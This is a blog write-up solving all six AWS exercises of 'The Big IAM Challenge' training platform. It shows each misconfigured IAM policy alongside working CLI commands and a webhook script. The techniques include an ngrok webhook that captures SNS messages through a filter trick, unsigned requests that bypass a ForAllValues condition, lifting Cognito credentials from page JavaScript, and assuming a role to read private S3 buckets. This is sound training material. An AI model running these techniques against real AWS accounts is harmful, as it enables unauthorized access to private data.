The Big IAM Challenge All Solution

LychnobyteLychnobyte
7 min read

Cover Illustration source https://www.pixiv.net/en/artworks/104049290

Hello all, let’s continue to solve another cloud security challenges!

This opportunity i’ll write solution for challenges in The Big IAM challenge platform. The challenges still up and running can access at https://thebigiamchallenge.com/.

The platform only has 6 simple AWS challenges with wargames style which is we need to solve the challenge in sequence from 1 to 6.

Since all the challenges i could say pretty simple and straightforward so i decide to post all solution in one post only.

Let’s start to solve those challenges!

1. Buckets of Fun

First challenge description

We all know that public buckets are risky. But can you find the flag?

and we got aws IAM policy like this.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

So, basically we can get all object inside thebigiamchallenge-storage-9979f4b s3 bucket and list object inside files directory.

Access the s3 bucket using browser using s3 bucket url pattern http://<bucket-name>.s3.amazonaws.com. In our case the url http://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com

As we can see there is object files/flag1.txt. Just open it using browser to get the flag

2. Google Analytics

Continue to second challenge

We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?

Join our queue and get the secret flag.

and AWS IAM policy like this

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

Well, the challenge description say it clearly that we just need to join the queue to get the flag!

To receive the message in the provided queue we can use this command

aws sqs receive-message --queue-url <queue-url>

Sqs queue url pattern in aws is https:/<queue-endpoint>/<account-id>/<resource-name>.

Queue endpoint for each region are listed in this documentation https://docs.aws.amazon.com/general/latest/gr/sqs-service.html.

Account id for this challenge is 092297851374 and resource name is wiz-tbic-analytics-sqs-queue-ca7a1b2.

So, sqs queue url for this challenge is https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2.

We just need to run this command in platform provided web shell

aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

Then just access the url from message body to get the flag.

3. Enable Push Notifications

Continue to third challenge

We got a message for you. Can you get it?

and AWS IAM policy like this

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

Now we need to subscribe to SNS topic to receive the flag. But, there is some filter that the receiver url need to end with string @tbic.wiz.io.

My approach is to create webhook with endpoint @tbic.wiz.io. To have full control with the webhook, i use ngrok and create python webhook with flask.

Well, you can also use some webhook service out there in the internet.

Here the webhook script i use.

from flask import Flask, request, jsonify
import requests
import json

app = Flask(__name__)

@app.route('/webhook@tbic.wiz.io', methods=['POST'])
def webhook():
    msg_data = json.loads(request.data.decode())

    msg_type = msg_data['Type']

    if msg_type == 'SubscriptionConfirmation':
        subscribe_url = msg_data['SubscribeURL']
        print(f"[+] Confirming subscription: {subscribe_url}")
        try:
            response = requests.get(subscribe_url)
            print(f"[+] Subscription confirmed: HTTP {response.status_code}")
        except Exception as e:
            print(f"[!] Failed to confirm subscription: {e}")
            return "Failed", 500

    elif msg_type == 'Notification':
        message = msg_data['Message']
        print(f"[+] Notification received: {message}")

    else:
        print(f"[!] Unsupported message type: {msg_type}")

    return jsonify({'status': 'ok'}), 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Then run the ngrok . (for the setup you can follow the steps official documentation)

ngrok http http://localhost:5000
python3 webhook.py

Then you have endpoint that can be use as sns endpoint.

Now we just need to run this command in web shell to subscribe the sns topic and wait a while to webhook receive the flag.

aws sns subscribe \
    --topic-arn "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications" \
    --protocol https --notification-endpoint https://45c2275ab043.ngrok-free.app/webhook@tbic.wiz.io

That’s it we got the third flag

4. Admin only?

Next to forth challenge

We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?

and AWS IAM policy like this

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

The IAM policy structure looks similar with the first challenge the different just additional filter to list bucket objects that make sure the request need to come from user/admin.

Seems like the filter is good but is ForAllValues:StringLike operator is bypass-able.

As written in aws documentation https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html#reference_policies_condition-multi-valued-context-keys

The ForAllValues qualifier tests whether the value of every member of the request context matches the condition operator that follows the qualifier. The condition returns true if every context key value in the request matches a context key value in the policy. It also returns true if there are no context keys in the request.

So, basically if our request not have context PrincipalArn or any credentials our request will be allowed to access s3 bucket objects.

To make request without any credentials loaded we use option --no-sign-request

--no-sign-request (boolean)

Do not sign requests. Credentials will not be loaded if this argument is provided.

Then just run command below to list and get flag.

aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files --no-sign-request
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt - --no-sign-request

5. Do I know you?

Fifth challenge

We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes.

and AWS IAM policy like this

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

As description said that the platform use AWS Cognito as identity provider, i assume this page also use AWS Cognito too. Also because in this challenge page load a picture that seems kinda suspicious.

So, let see the page source code (if using chrome use ctrl + u) we see this javascript code

<script src="https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"></script>
<script>
  AWS.config.region = 'us-east-1';
  AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
  // Set the region
  AWS.config.update({region: 'us-east-1'});

  $(document).ready(function() {
    var s3 = new AWS.S3();
    params = {
      Bucket: 'wiz-privatefiles',
      Key: 'cognito1.png',
      Expires: 60 * 60
    }

    signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
      $('#signedImg').attr('src', url);
    });
});
</script>

Well, the page retrieve AWS credentials from Cognito pools then stored in AWS.config.credentials variable. Since it is javascript code, we can get that credentials from web console.

Then open the web console (if using chrome use F12 the choose console tab)

To get the AWS credentials type this line in console

AWS.config.credentials.accessKeyId
AWS.config.credentials.secretAccessKey
AWS.config.credentials.sessionToken

Then open local terminal (because in web shell we cannot set AWS credentials) to configure AWS cli to use the credentials. In linux open file ~/.aws/credentials then write this line

[bigiam]
aws_access_key_id = <access-id>
aws_secret_access_key = <secret-id>
aws_session_token = <session-token>

Then access the S3 bucket to get the flag

aws --profile bigiam s3 ls s3://wiz-privatefiles/
aws --profile bigiam s3 cp s3://wiz-privatefiles/flag1.txt -

6. One final push

Last challenge!

Anonymous access no more. Let's see what can you do now.

Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role

and AWS IAM policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

Last challenge is using Cognito again and now we got access to assume with web identity.

So, all we need to do is get the identity from Cognito

aws cognito-identity get-id --region us-east-1 --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b

Get the JWT with identity we got before

aws cognito-identity get-open-id-token --region us-east-1 --identity-id us-east-1:157d6171-ee06-cefb-6881-51ea5f1b6a9d

Then we can assume role in description with our JWT to get AWS credentials

aws sts assume-role-with-web-identity --role-session-name challenge-6 --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --web-identity-token <JWT>

Just like previous challenge create credentials in our local terminal, then with that profile list s3 bucket.

aws --profile bigiam6 s3 ls
aws --profile bigiam6 s3 ls s3://wiz-privatefiles-x1000
aws --profile bigiam6 s3 cp s3://wiz-privatefiles-x1000/flag2.txt -

Well, there is many S3 bucket listed i checked one by one then found flag in wiz-privatefiles-x1000 bucket.

That’s it! We solve all challenges!

After solve all challenges we can got certificate like this

Reference:

0
Subscribe to my newsletter

Read articles from Lychnobyte directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Lychnobyte
Lychnobyte

Full time job to handle operational private cloud. In spare time love to building and breaking stuff 👀